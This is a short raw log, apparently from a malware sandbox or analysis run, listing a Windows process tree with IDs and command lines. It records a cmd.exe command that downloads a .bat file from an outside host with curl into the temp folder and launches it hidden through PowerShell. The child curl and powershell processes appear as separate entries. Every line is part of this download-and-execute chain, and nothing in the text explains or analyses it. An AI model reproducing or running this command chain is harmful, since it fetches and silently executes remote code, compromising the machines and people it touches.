cmd.exe "C:\Windows\System32\cmd.exe" /c curl -o %temp%\4ukpag0ymm.bat https://upload.nugeta.net/uploads/386vt2rj873tzuiw.bat & powershell start -WindowStyle hidden %temp%\4ukpag0ymm.bat
2228curl.exe curl -o C:\Users\test22\AppData\Local\Temp\4ukpag0ymm.bat https://upload.nugeta.net/uploads/386vt2rj873tzuiw.bat
2304powershell.exe powershell start -WindowStyle hidden C:\Users\test22\AppData\Local\Temp\4ukpag0ymm.bat
2720